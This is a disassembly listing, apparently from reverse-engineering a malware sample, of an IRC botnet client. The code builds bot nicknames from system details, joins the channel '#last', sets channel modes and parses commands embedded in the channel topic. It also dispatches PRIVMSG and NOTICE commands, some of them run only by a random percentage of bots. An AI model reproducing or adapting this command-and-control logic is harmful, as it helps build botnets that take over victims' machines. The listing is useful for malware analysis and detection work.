		lea	eax, [ebp+var_390]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40DB9A:				; CODE XREF: sub_40D871+314j
		call	sub_408E8E
		cmp	eax, 400h
		jbe	short loc_40DBB3
		call	sub_408E8E
		mov	[ebp+var_7E4], eax
		jmp	short loc_40DBBD
; ---------------------------------------------------------------------------


loc_40DBB3:				; CODE XREF: sub_40D871+333j
		mov	[ebp+var_7E4], 400h


loc_40DBBD:				; CODE XREF: sub_40D871+340j
		mov	eax, [ebp+var_7E4]
		shr	eax, 0Ah
		mov	[ebp+var_36C], eax
		call	sub_408887
		mov	[ebp+var_2D0], eax
		mov	[ebp+var_368], offset aB ; "B"
		cmp	[ebp+var_2D0], 3E8h
		jnb	short loc_40DBF7
		mov	[ebp+var_368], offset aA ; "A"


loc_40DBF7:				; CODE XREF: sub_40D871+37Aj
		cmp	[ebp+var_2D0], 1F4h
		jnb	short loc_40DC0D
		mov	[ebp+var_368], offset aG ; "G"


loc_40DC0D:				; CODE XREF: sub_40D871+390j
		and	[ebp+var_370], 0
		mov	[ebp+var_364], 94h
		push	24h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_360]
		rep stosd
		lea	eax, [ebp+var_364]
		push	eax
		call	ds:dword_417030	; GetVersionExA
		cmp	[ebp+var_360], 5
		jnz	short loc_40DC54
		cmp	[ebp+var_35C], 1
		jnz	short loc_40DC54
		mov	[ebp+var_370], 1


loc_40DC54:				; CODE XREF: sub_40D871+3CEj
					; sub_40D871+3D7j
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		cmp	[ebp+var_370], 0
		setz	al
		dec	eax
		and	eax, 2Fh
		add	eax, 2Dh
		movsx	eax, al
		push	eax
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	5Dh
		push	[ebp+var_2CC]
		push	5Bh
		push	5Dh
		lea	eax, [ebp+var_390]
		push	eax
		push	5Bh
		push	offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c"
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 34h
		jmp	short loc_40DCE5
; ---------------------------------------------------------------------------


loc_40DCB8:				; CODE XREF: sub_40D871+2FAj
		push	offset dword_41DAA4
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40D7E5
		pop	ecx


loc_40DCE5:				; CODE XREF: sub_40D871+445j
		lea	eax, [ebp+var_2C8]
		push	eax
		push	offset aNickS	; "NICK	%s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DCFD:				; CODE XREF: sub_40D871+2D0j
		push	offset aError	; "ERROR"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DD25
		push	0
		push	0
		push	0
		call	sub_40D366
		add	esp, 0Ch
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DD25:				; CODE XREF: sub_40D871+49Fj
		push	offset aJoin	; "JOIN"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DD97
		push	offset byte_41EE48
		push	[ebp+arg_4]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DD97
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+8], 0
		jz	short loc_40DD97
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Ah
		jnz	short loc_40DD74
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		inc	eax
		mov	[ebp+var_7E8], eax
		jmp	short loc_40DD80
; ---------------------------------------------------------------------------


loc_40DD74:				; CODE XREF: sub_40D871+4F2j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		mov	[ebp+var_7E8], eax


loc_40DD80:				; CODE XREF: sub_40D871+501j
		push	[ebp+var_7E8]
		push	offset aModeSSmntu ; "MODE %s +smntu"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DD97:				; CODE XREF: sub_40D871+4C8j
					; sub_40D871+4DBj ...
		push	offset a001	; "001"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DE70
		push	21h
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_4B4]
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset byte_41EE48
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset aModeSXi	; "MODE	%s +xi"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		push	offset dword_41ED48
		push	offset aLast	; "#last"
		push	offset aJoinSS	; "JOIN	%s %s"
		call	sub_40D6CB
		add	esp, 0Ch
		lea	eax, [ebp+var_490]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_40449C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40DE58
		lea	eax, [ebp+var_490]
		push	eax
		call	sub_4041B7
		pop	ecx
		test	eax, eax
		jz	short loc_40DE43
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset aUserhostS ; "USERHOST %s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	short loc_40DE56
; ---------------------------------------------------------------------------


loc_40DE43:				; CODE XREF: sub_40D871+5BBj
		lea	eax, [ebp+var_490]
		push	eax
		push	offset dword_41EF48
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40DE56:				; CODE XREF: sub_40D871+5D0j
		jmp	short loc_40DE6B
; ---------------------------------------------------------------------------


loc_40DE58:				; CODE XREF: sub_40D871+5AAj
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset aUserhostS ; "USERHOST %s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx


loc_40DE6B:				; CODE XREF: sub_40D871:loc_40DE56j
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DE70:				; CODE XREF: sub_40D871+53Aj
		push	offset a451	; "451"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DE96
		push	0
		push	1
		call	sub_40D043
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DE96:				; CODE XREF: sub_40D871+613j
		push	offset a302	; "302"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DF3E
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_40DEBE
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DEBE:				; CODE XREF: sub_40D871+646j
		push	offset a@	; "@"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5B8], eax
		cmp	[ebp+var_5B8], 0
		jnz	short loc_40DEE4
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DEE4:				; CODE XREF: sub_40D871+66Cj
		push	100h
		mov	eax, [ebp+var_5B8]
		inc	eax
		push	eax
		push	offset dword_41EF48
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_5B4]
		push	eax
		mov	eax, [ebp+var_5B8]
		inc	eax
		push	eax
		call	sub_404612
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jnz	short loc_40DF20
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DF20:				; CODE XREF: sub_40D871+6A8j
		push	100h
		lea	eax, [ebp+var_5B4]
		push	eax
		push	offset dword_41EF48
		call	sub_407A56
		add	esp, 0Ch
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DF3E:				; CODE XREF: sub_40D871+639j
		push	offset aNick	; "NICK"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DF8E
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40DF62
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DF62:				; CODE XREF: sub_40D871+6EAj
		push	offset byte_41EE48
		push	[ebp+arg_4]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DF89
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		inc	eax
		push	eax
		push	offset byte_41EE48
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40DF89:				; CODE XREF: sub_40D871+702j
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DF8E:				; CODE XREF: sub_40D871+6E1j
		push	offset a332	; "332"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40E128
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax+10h], 0
		jz	short loc_40DFBF
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		movsx	eax, byte ptr [eax+1]
		test	eax, eax
		jnz	short loc_40DFC4


loc_40DFBF:				; CODE XREF: sub_40D871+73Ej
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DFC4:				; CODE XREF: sub_40D871+74Cj
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 3Dh
		jnz	loc_40E05F
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		inc	eax
		push	eax
		call	sub_40E9C9
		pop	ecx
		pop	ecx
		mov	[ebp+var_5BC], eax
		push	[ebp+var_5BC]
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		push	eax
		call	sub_40F040
		pop	ecx
		pop	ecx
		mov	[ebp+var_5BC], eax
		push	[ebp+var_5BC]
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		push	eax
		call	sub_40EF41
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax+14h], 0
		jz	short loc_40E04E
		mov	eax, [ebp+arg_10]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		mov	ecx, [ebp+var_5BC]
		lea	eax, [eax+ecx+1]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_40E05F
; ---------------------------------------------------------------------------


loc_40E04E:				; CODE XREF: sub_40D871+7BBj
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		mov	ecx, [ebp+var_5BC]
		and	byte ptr [eax+ecx+1], 0


loc_40E05F:				; CODE XREF: sub_40D871+760j
					; sub_40D871+7DBj
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		movsx	eax, byte ptr [eax+1]
		test	eax, eax
		jz	loc_40E123
		lea	eax, [ebp+var_7C4]
		push	eax
		push	offset asc_41A07C ; "]["
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_7C0], eax
		and	[ebp+var_7C8], 0


loc_40E09A:				; CODE XREF: sub_40D871+8ADj
		cmp	[ebp+var_7C0], 0
		jnz	short loc_40E0A5
		jmp	short loc_40E123
; ---------------------------------------------------------------------------


loc_40E0A5:				; CODE XREF: sub_40D871+830j
					; sub_40D871+851j
		mov	eax, [ebp+var_7C0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jz	short loc_40E0B5
		jmp	short loc_40E0C4
; ---------------------------------------------------------------------------


loc_40E0B5:				; CODE XREF: sub_40D871+840j
		mov	eax, [ebp+var_7C0]
		inc	eax
		mov	[ebp+var_7C0], eax
		jmp	short loc_40E0A5
; ---------------------------------------------------------------------------


loc_40E0C4:				; CODE XREF: sub_40D871+842j
		push	[ebp+var_7C0]
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		push	offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s"
		push	200h
		lea	eax, [ebp+var_7BC]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_7BC]
		push	eax
		call	sub_40E618
		pop	ecx
		lea	eax, [ebp+var_7C4]
		push	eax
		push	offset asc_41A07C ; "]["
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_7C8], eax
		mov	eax, [ebp+var_7C8]
		mov	[ebp+var_7C0], eax
		jmp	loc_40E09A
; ---------------------------------------------------------------------------


loc_40E123:				; CODE XREF: sub_40D871+7FAj
					; sub_40D871+832j
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E128:				; CODE XREF: sub_40D871+731j
		cmp	[ebp+arg_0], 0
		jz	short loc_40E153
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+8], 0
		jz	short loc_40E153
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+0Ch], 0
		jz	short loc_40E153
		push	offset byte_41EE48
		push	[ebp+arg_4]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E158


loc_40E153:				; CODE XREF: sub_40D871+8BBj
					; sub_40D871+8C4j ...
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E158:				; CODE XREF: sub_40D871+8E0j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_C]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_10]
		mov	[ecx+0Ch], eax
		push	offset aPrivmsg	; "PRIVMSG"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E1C0
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1
		jnz	short loc_40E1AB
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_90], eax
		mov	[ebp+var_84], 3
		jmp	short loc_40E1BE
; ---------------------------------------------------------------------------


loc_40E1AB:				; CODE XREF: sub_40D871+923j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		mov	[ebp+var_90], eax
		and	[ebp+var_84], 0


loc_40E1BE:				; CODE XREF: sub_40D871+938j
		jmp	short loc_40E216
; ---------------------------------------------------------------------------


loc_40E1C0:				; CODE XREF: sub_40D871+915j
		push	offset aNotice	; "NOTICE"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E211
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1
		jnz	short loc_40E1F9
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_90], eax
		mov	[ebp+var_84], 3
		jmp	short loc_40E20F
; ---------------------------------------------------------------------------


loc_40E1F9:				; CODE XREF: sub_40D871+971j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		mov	[ebp+var_90], eax
		mov	[ebp+var_84], 1


loc_40E20F:				; CODE XREF: sub_40D871+986j
		jmp	short loc_40E216
; ---------------------------------------------------------------------------


loc_40E211:				; CODE XREF: sub_40D871+963j
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E216:				; CODE XREF: sub_40D871:loc_40E1BEj
					; sub_40D871:loc_40E20Fj
		cmp	[ebp+var_84], 3
		jnz	loc_40E321
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_C]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_10]
		mov	[ecx+0Ch], eax
		and	[ebp+var_7CC], 0
		jmp	short loc_40E253
; ---------------------------------------------------------------------------


loc_40E246:				; CODE XREF: sub_40D871:loc_40E31Cj
		mov	eax, [ebp+var_7CC]
		inc	eax
		mov	[ebp+var_7CC], eax


loc_40E253:				; CODE XREF: sub_40D871+9D3j
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx+eax*4], 0
		jz	short loc_40E26B
		cmp	[ebp+var_7CC], 0Fh
		jnz	short loc_40E2B8


loc_40E26B:				; CODE XREF: sub_40D871+9EFj
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_10]
		push	dword ptr [ecx+eax*4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_7D4], eax
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D4]
		movsx	eax, byte ptr [eax+ecx-1]
		cmp	eax, 1
		jnz	short loc_40E2B6
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D4]
		mov	byte ptr [eax+ecx-1], 1


loc_40E2B6:				; CODE XREF: sub_40D871+A2Cj
		jmp	short loc_40E321
; ---------------------------------------------------------------------------


loc_40E2B8:				; CODE XREF: sub_40D871+9F8j
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		push	dword ptr [ecx+eax*4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_7D0], eax
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D0]
		movsx	eax, byte ptr [eax+ecx-1]
		cmp	eax, 1
		jnz	short loc_40E31C
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D0]
		and	byte ptr [eax+ecx-1], 0
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_10]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D0]
		and	byte ptr [eax+ecx-1], 0
		jmp	short loc_40E321
; ---------------------------------------------------------------------------


loc_40E31C:				; CODE XREF: sub_40D871+A79j
		jmp	loc_40E246
; ---------------------------------------------------------------------------


loc_40E321:				; CODE XREF: sub_40D871+9ACj
					; sub_40D871:loc_40E2B6j ...
		push	offset byte_41EE48
		push	[ebp+var_90]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E340
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_90], eax


loc_40E340:				; CODE XREF: sub_40D871+AC4j
		push	7Ah
		push	0
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_10]
		mov	eax, [eax]
		mov	[ebp+var_88], eax
		and	[ebp+var_8C], 0
		mov	eax, [ebp+arg_10]
		push	dword ptr [eax]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_80], eax


loc_40E370:				; CODE XREF: sub_40D871:loc_40E3F2j
		cmp	[ebp+var_80], 3
		jnb	short loc_40E378
		jmp	short loc_40E3F7
; ---------------------------------------------------------------------------


loc_40E378:				; CODE XREF: sub_40D871+B03j
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-1]
		cmp	eax, 20h
		jnz	short loc_40E393
		mov	eax, [ebp+var_80]
		dec	eax
		mov	[ebp+var_80], eax
		jmp	short loc_40E3F2
; ---------------------------------------------------------------------------


loc_40E393:				; CODE XREF: sub_40D871+B17j
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-3]
		cmp	eax, 20h
		jnz	short loc_40E3F0
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-2]
		cmp	eax, 2Dh
		jnz	short loc_40E3F0
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-1]
		cmp	eax, 7Ah
		jg	short loc_40E3F0
		mov	[ebp+var_8C], 1
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-1]
		mov	[ebp+eax+var_7C], 1
		mov	eax, [ebp+var_80]
		sub	eax, 3
		mov	[ebp+var_80], eax
		jmp	short loc_40E3F2
; ---------------------------------------------------------------------------


loc_40E3F0:				; CODE XREF: sub_40D871+B32j
					; sub_40D871+B44j ...
		jmp	short loc_40E3F7
; ---------------------------------------------------------------------------


loc_40E3F2:				; CODE XREF: sub_40D871+B20j
					; sub_40D871+B7Dj
		jmp	loc_40E370
; ---------------------------------------------------------------------------


loc_40E3F7:				; CODE XREF: sub_40D871+B05j
					; sub_40D871:loc_40E3F0j
		cmp	[ebp+var_8C], 0
		jz	loc_40E4CC
		and	[ebp+var_7D8], 0
		jmp	short loc_40E41A
; ---------------------------------------------------------------------------


loc_40E40D:				; CODE XREF: sub_40D871:loc_40E4C7j
		mov	eax, [ebp+var_7D8]
		inc	eax
		mov	[ebp+var_7D8], eax


loc_40E41A:				; CODE XREF: sub_40D871+B9Aj
		cmp	[ebp+var_7D8], 10h
		jnb	loc_40E4CC
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_10]
		cmp	dword ptr [ecx+eax*4], 0
		jnz	short loc_40E43B
		jmp	loc_40E4CC
; ---------------------------------------------------------------------------


loc_40E43B:				; CODE XREF: sub_40D871+BC3j
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		mov	ecx, [ebp+var_7D8]
		mov	edx, [ebp+arg_10]
		cmp	[edx+ecx*4], eax
		jb	short loc_40E4C7
		cmp	[ebp+var_8C], 0
		jz	short loc_40E48F
		cmp	[ebp+var_7D8], 0
		jz	short loc_40E488
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_C]
		push	dword ptr [ecx+eax*4-4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_7D8]
		mov	edx, [ebp+arg_10]
		mov	ecx, [edx+ecx*4-4]
		and	byte ptr [ecx+eax], 0


loc_40E488:				; CODE XREF: sub_40D871+BF1j
		and	[ebp+var_8C], 0


loc_40E48F:				; CODE XREF: sub_40D871+BE8j
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_10]
		mov	eax, [ecx+eax*4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_10]
		and	dword ptr [ecx+eax*4], 0
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_C]
		and	dword ptr [ecx+eax*4], 0


loc_40E4C7:				; CODE XREF: sub_40D871+BDFj
		jmp	loc_40E40D
; ---------------------------------------------------------------------------


loc_40E4CC:				; CODE XREF: sub_40D871+B8Dj
					; sub_40D871+BB0j ...
		push	offset byte_41EE48
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+8]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E513
		mov	eax, [ebp+arg_10]
		add	eax, 0Ch
		push	eax
		mov	eax, [ebp+arg_C]
		add	eax, 0Ch
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	[ebp+var_84]
		push	[ebp+var_90]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40A9CF
		add	esp, 1Ch
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E513:				; CODE XREF: sub_40D871+C6Fj
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+10h], 0
		jnz	short loc_40E521
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E521:				; CODE XREF: sub_40D871+CA9j
		and	[ebp+var_7DC], 0
		push	offset asc_41A070 ; "*"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E54A
		mov	[ebp+var_7DC], 1
		jmp	loc_40E5DE
; ---------------------------------------------------------------------------


loc_40E54A:				; CODE XREF: sub_40D871+CCBj
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		push	offset byte_41EE48
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40E56C
		mov	[ebp+var_7DC], 1
		jmp	short loc_40E5DE
; ---------------------------------------------------------------------------


loc_40E56C:				; CODE XREF: sub_40D871+CF0j
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 4
		ja	short loc_40E5DE
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx+0Ch]
		movsx	eax, byte ptr [ecx+eax-1]
		cmp	eax, 25h
		jnz	short loc_40E5DE
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx+0Ch]
		and	byte ptr [ecx+eax-1], 0
		call	sub_410422
		xor	edx, edx
		push	64h
		pop	ecx
		div	ecx
		inc	edx
		mov	[ebp+var_7E0], edx
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B9C	; atoi
		pop	ecx
		cmp	eax, [ebp+var_7E0]
		jl	short loc_40E5DE
		mov	[ebp+var_7DC], 1


loc_40E5DE:				; CODE XREF: sub_40D871+CD4j
					; sub_40D871+CF9j ...
		movzx	eax, [ebp+var_7DC]
		test	eax, eax
		jz	short loc_40E615
		mov	eax, [ebp+arg_10]
		add	eax, 10h
		push	eax
		mov	eax, [ebp+arg_C]
		add	eax, 10h
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	[ebp+var_84]
		push	[ebp+var_90]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40A9CF
		add	esp, 1Ch


loc_40E615:				; CODE XREF: sub_40D871+31j
					; sub_40D871+4Cj ...
		pop	edi
		leave
		retn
sub_40D871	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E618	proc near		; CODE XREF: sub_40C93C+A8p
					; sub_40D871+87Fp ...

var_1194	= dword	ptr -1194h
var_1190	= dword	ptr -1190h
var_118C	= byte ptr -118Ch
var_1180	= dword	ptr -1180h
var_114C	= dword	ptr -114Ch
var_1148	= dword	ptr -1148h
var_1144	= dword	ptr -1144h
var_113C	= dword	ptr -113Ch
var_1138	= dword	ptr -1138h
var_1109	= byte ptr -1109h
var_1108	= byte ptr -1108h
var_1089	= byte ptr -1089h
var_1088	= byte ptr -1088h
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1194h
		call	sub_416BC0
		and	[ebp+var_4], 0
		push	10h
		lea	eax, [ebp+var_118C]
		push	eax
		lea	eax, [ebp+var_1148]
		push	eax
		lea	eax, [ebp+var_1088]
		push	eax
		push	[ebp+arg_0]
		call	sub_407928
		add	esp, 14h
		push	offset a302	; "302"
		push	[ebp+var_1144]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E66D
		mov	dword_41E9AC, 1
		jmp	short loc_40E674
; ---------------------------------------------------------------------------


loc_40E66D:				; CODE XREF: sub_40E618+47j
		and	dword_41E9AC, 0


loc_40E674:				; CODE XREF: sub_40E618+53j
		cmp	[ebp+var_1148],	0
		jz	short loc_40E686
		cmp	[ebp+var_1144],	0
		jnz	short loc_40E68B


loc_40E686:				; CODE XREF: sub_40E618+63j
		jmp	locret_40E941
; ---------------------------------------------------------------------------


loc_40E68B:				; CODE XREF: sub_40E618+6Cj
		push	offset aPrivmsg	; "PRIVMSG"
		push	[ebp+var_1144]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40E6BB
		push	offset aNotice	; "NOTICE"
		push	[ebp+var_1144]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40E7A5


loc_40E6BB:				; CODE XREF: sub_40E618+87j
		cmp	[ebp+var_113C],	0
		jz	loc_40E7A5
